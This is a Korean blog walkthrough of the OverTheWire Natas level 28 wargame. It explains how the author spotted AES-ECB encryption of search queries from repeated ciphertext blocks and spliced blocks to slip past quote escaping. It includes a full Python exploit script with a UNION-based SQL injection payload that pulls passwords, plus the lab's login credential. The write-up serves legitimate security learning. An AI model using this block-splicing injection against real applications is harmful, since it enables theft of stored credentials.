Post

Natas Level 28 풀이


로그인


Username: natas28
URL: http://natas28.natas.labs.overthewire.org


이번엔 소스코드를 주지 않고, 검색창만 있다.

joke를 입력해보니 아래와 같은 조크가 나왔다.

Desktop View
입력한 단어가 존재하는 텍스트를 출력하는 듯


저 개그문 설마? 했는데… 설마가 맞았다…
Desktop View


지피티 말로는 이 개그랑 한 쌍으로 “I’d tell you a TCP joke, but I’d have to keep repeating it until you got it.” 도 있다고 한다. ack를 못 받으면 패킷이 누락된 걸로 판단하고 재전송하는 TCP 특징을 이용한 개그…




풀이


history를 보니,

Desktop View


Desktop View



입력한 값이 query 파라미터로 들어가는데, 바로 암호화되는 것 같다.

이 암호문이 서버에서 복호화되어 쿼리에 들어가고, GET 방식으로 search.php 페이지를 읽어와서 쿼리의 결과를 출력한다.


쿼리는 아마도

SELECT * FROM ??? WHERE query = ‘입력값’;

이런 느낌일텐데…싶어서 일단 ‘or ‘1’=’1을 입력해봤다.


Desktop View
GET으로 search.php를 받아오는 요청을 인터셉트


Desktop View
암호화된 쿼리대신 '+or+'1'='1을 입력한 결과


에러가 떴다.

Notice: Trying to access array offset on value of type bool in /var/www/natas/natas28/search.php on line 59 Zero padding found instead of PKCS#7 padding

검색해보니 서버가 블록암호 알고리즘으로 복호화는데, 패딩 검증에 실패했다는 뜻이라고 한다. PKCS#7 padding은 AES알고리즘과 함께 가장 많이 쓰인다고 한다.

이 때 사용되는 블록암호 운영모드는 지피티가 AES-CBC 모드일 것이라고 해서 그렇구만. 했는데… EBC모드였다.

AES : 대칭키 암호 알고리즘. 128비트 평문 블록을 128비트 암호문 블록으로 암호화.

CBC(Cipher Block Chaining) : 블록암호 운영모드 중 하나. 평문 블록을 이전의 암호문 블록과 XOR한 뒤 암호화하는 방식. 가장 많이 쓰이는 듯 하다.

EBC(Electronic Code Book) : 블록암호 운영모드 중 하나. 각 평문을 블록 단위로 암호화하고, 암호화된 블록도 그냥 복호화해서 평문블록 만드는 가장 단순한 구조. 따라서 보안에 취약함.




EBC 모드라 짐작할 수 있는 이유는, 아래와 같이 몇몇 입력값에 대해 암호화된 쿼리를 확인했을 때

Desktop View

공통적으로

“G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjP” 가 붙기 때문이다.

이는 평문에서 고정된 SQL 쿼리 앞부분이 항상 같은 암호문 블록으로 암호화된다는 것을 의미한다.

ECB는 평문 블록을 독립적으로 암호화하므로, 같은 평문 블록은 항상 같은 암호문 블록을 생성한다.

반면 CBC 등 다른 운영 모드는 이전 블록이나 IV값을 이용해 암호화하기 때문에, 입력값이 바뀌면 전체 암호문 구조도 바뀐다.



따라서 이 문제는 ECB 모드가 사용되었을 가능성이 매우 높다…


또한 위에서 예상했던 대로 AES 알고리즘을 사용한다면 각 블록의 크기는 16바이트일 것이고, 쿼리 끝에 “=”이 붙는걸로 보아 base64 인코딩되었을 것이다(base64는 평문 길이가 3의 배수가 아니면 끝에 =이나 ==이 붙음).



이제 이 블록 구조를 더 파악해보기 위해 여러 입력값을 넣어봤는데,

Desktop View
url디코딩한 쿼리들...


알파벳 하나씩만 넣은 쿼리는 앞부분 뿐만 아니라 뒷부분 암호문도 같았다. 알파벳을 두 개, 세 개 넣은 쿼리는 조금씩 밀려서 앞부분만 같은 것 같다.

특수문자 ‘ 를 넣은 쿼리는 중간쯤 이후부터 xx를 넣은 쿼리와 같아지는데, 이스케이프 돼서 ' 로 처리되어 그런 것 같다.




실제로 확인해보면,

Desktop View


각 쿼리들을 base64 디코딩한 후 총 바이트 수를 계산하고, 16바이트별로 자르면 5개의 블록이 나오는데

Desktop View


알파벳 하나씩만 넣은 쿼리에 대해서는 세 번째 블록만 다르고

Desktop View


특수문자 ‘ 를 넣은 쿼리는 세 번째블록부터 바뀐다. 이스케이프 되는 게 확실하다…

' 로 쿼리에 들어가서 xx를 넣은 입력값과 글자수가 같아 뒷부분 4, 5번째 블록도 같은 것이다.

그렇다면
입력값 > 특수문자 이스케이프 > 평문 쿼리 생성 > AES 암호화 > base64 > URL 인코딩의 순서로 암호화되어 search.php의 파라미터로 붙는 것 같다.





이제 블록단위로 잘 조정해가며.. 특수문자 이스케이프 우회해서 인젝션 공격을 하면 되는데…

’ 를 넣었을 때 /’ 로 처리되어 바이트가 하나씩 밀려 3번째부터 블록이 깨지니까

이 깨진 블록을 의미없는 더미블록으로 끼워넣고, 이후에 sql인젝션이 서버에서 정상적으로 처리되게 할 블록이 삽입되도록 하면 된다.




정리하면,

블록 1,2(header) : 그대로 유지블록
블록 3 : 공백으로만 채운 블록으로 교체
블록 4 : SQL injection 블록들 조립해서 넣기
블록 5(footer) : 그대로 유지




이후 입력값 글자가 몇 개부터 블록 개수가 바뀌는지 조사해봤다.

Desktop View


위와 같이 공백을 하나씩 늘려가며 쿼리를 보냈을 때, 공백이 13개가 되는 시점에서 부터 96바이트가 되어 6개의 블록이 나오는 걸 볼 수 있다.

즉 공백 12개를 넣은 것까지는 블록이 5개고, 공백 13개부터는 블록이 6개 이상이 된다.

그래서 공백 11개 + “ ‘ “ 를 넣어서 이스케이프 됐을 때 공백 11개 + \ 까지는 3번째 블록, “ ‘ “부터는 4번째 블록으로 SQLi 되게끔하려고 했는데 잘 안 됐다……

서버가 암호화하는 기준이 단순히 query= 이후부터가 아니라 서버 내부에서 쿼리 템플릿 문자열과 합쳐진 상태에서 암호화가 일어나기 때문이라고 한다. SELECT * FROM search WHERE query=’[입력값]’ 전체가 평문이고, 입력값은 그 안의 일부분에 삽입되니까 12바이트 넣었다고 해서, 그게 무조건 블록 3 끝에 도달하리라는 보장이 없다고… 즉 입력값을 어디서부터 블록으로 자르는지 오프셋을 알 수 없어서인듯하다…




따라서 그냥 브루트포스 식으로 baseline 쿼리를 찾아야 한다.

baseline 여러 개 시도 (공백 8~14개) > 각각의 블록 3 암호문 따로 저장 > ‘ 들어간 인젝션 payload 암호문과 비교 > 동일한 위치에 쓰일 수 있는 정상 블록 찾기 > 그걸 dummy로 써먹음

의 과정…을 거치면 공백 10개로 baseline 쿼리를 구할 수 있다.





자동화 프로그램




이제 아래의 프로그램을 이용한다.

이 블로그 참고해서 썼다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import base64
import urllib.parse
 
url = "http://natas28.natas.labs.overthewire.org"
auth = ('natas28', '1JNwQM1Oi6J6j1k49Xyw7ZN6pXMQInVj')
s = requests.Session()
s.auth = auth
 
# baseline 쿼리 (공백 10개 → header + footer 확보)
r = s.post(f"{url}/index.php", data={'query': ' ' * 10})
cipher = base64.b64decode(urllib.parse.unquote(r.url.split('=')[1]))
header = cipher[:48]     # 앞의 블록 3개
footer = cipher[48:]     # 뒤의 블록에서 트레일러 추출
 
# SQLi 입력 → 암호문에서 인젝션 블록 추출
payload = " " * 9 + "' UNION ALL SELECT password FROM users;#"
r = s.post(f"{url}/index.php", data={'query': payload})
sqli_cipher = base64.b64decode(urllib.parse.unquote(r.url.split('=')[1]))
 
# SQLi 블록 개수 계산
sqli_blocks = len(payload) - 10
sqli_blocks += (16 - sqli_blocks % 16) if sqli_blocks % 16 else 0
 
# 최종 암호문 조립
final = header + sqli_cipher[48:48 + sqli_blocks] + footer
final_b64 = base64.b64encode(final)
 
# 요청 보내기
r = s.get(f"{url}/search.php", params={'query': final_b64})
print(r.text)


먼저 공백10개를 보내서 처음 3개의 블록과 마지막 블록을 확보하고,

” ‘ “가 포함된 SQLi를 넣어서 쿼리 보낸 뒤

이스케이프 된 것을 고려하여 SQLi 구간만 블록 단위로 추출하고, 블록 개수를 계산한다.



이를 바탕으로 최종 암호문으로 [처음 3개 블록 + SQLi블록 + footer]를 base64 > url 인코딩해서

search.php 파라미터에 붙여 전송하면 된다.

Desktop View
user테이블에 natas29밖에 없나봄... 바로 패스워드 나온다.
This post is licensed under CC BY 4.0 by the author.